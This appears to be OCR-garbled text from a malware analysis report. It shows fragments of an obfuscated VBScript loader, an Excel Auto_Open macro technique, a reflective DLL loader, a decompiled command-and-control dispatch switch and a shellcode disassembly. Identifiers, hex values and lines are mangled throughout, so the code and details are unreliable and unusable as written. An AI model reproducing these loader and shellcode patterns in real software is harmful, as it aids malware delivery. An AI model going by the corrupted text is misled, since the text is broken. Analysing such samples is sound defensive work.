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strPath = DesDir & SKMMBXmNbPCwurUQIJQcF

gy (58, 54, 20, 9, 1, 20, 7, 11, 34, 7, 18
1))

VBS

1 vy Len ) =1)
For M)Mvtmlremoi 0 To UBound( gtnmaqumum JUH )
mum.qu]:&\mxu]mu\n)d\wxdﬂlrwstv‘()o’wo[) - Asc( Mid( etkKMFIDKF JUvWUxeBIVAL, NnjdVivRdRZrerBevMDoKeoE + 1,
Next
FdqBruAKANVEDTSLR « 1KatxChDaqtefEA)Bxu)UH
End Function
Dim YMIjOpHxUpwibtirin
set AEEVirAehEsZCIvyURUVdafL - GetObject (*script:htips _")
YMIJopHxUpw IbTIrin « TdqBruAKANVGDTSLRCTDCIGRNpMBBYYVWE
Function ﬂ:l"nu AGEY L e LA Ry sV )cYy g eed.
WS elpreYGeD o CIrIAWD IXVRW) + erTV)1dOrXxjanzoe
End Function
Dim ZWjgHLwHQSPC, qvV ft IRKoVZ IFF , ORWaTbWMdNry EdzkMsyWta1u

vbscript

VBS Loader
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Excel  Auto_Open Excel
AccessVBOM

shellcode shellcode 0x34  0x38



DLL 17f2d8.dll
_ReflectiveLoader@4

DlIMain 0x10030028 0x1000 0x69



C&C

int w3; //

switch ('22)
{

ca

se 1:

sub_18085634((1int)az, . 1); /i
break;

case 2:

sub_10003B6A(=23);

break;

case 3:

sub_180083609() ;

break;

case 4:

sub_1000368C(Llen);

break;

case 5:

sub_1888361D(1len, a3); /i
break;

case 9:

sub_100054€0(len, 1); /1
break;

case OxA:

sub_10083D1E((int)a3, , "wbt); /4
break;

case BxB:

sub_lo004C29(az, |H /1
break;

a case OxC:

p sub_1000387A(len, a3); /1 AT
break;

case BxD:

x sub_100052D1(1len, 23, 1);

break;
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shellcode shellcode

seq000: 09000008 sub_8 pros near

©g000: §8800008 SE pop !

eg000:088600009 8B 1E mov

seqb00: 0POOOOOB 83 C6 04 add

sey060: 0000680 8B 2C noey

,cq[ﬂm 0poe6Es18 31 DD xor

(47, Q9 A AN add,

ERBELEEE
Leq080: 00060616

cqOAB:N00060816 I 16 :

EOHHE e Wil st $ - mou el |
-v..qmm:mnml}mm | L1t epdl, PbhX
~¢Q0068:0006086810 ¢ [ nov ed
SeQUER: DBBEARIC 31 Lo

SEOHEE:BBOHHKTE
seqiil: annaae21

AAG- AAGAHRAD ) 14 3 .

shellcode
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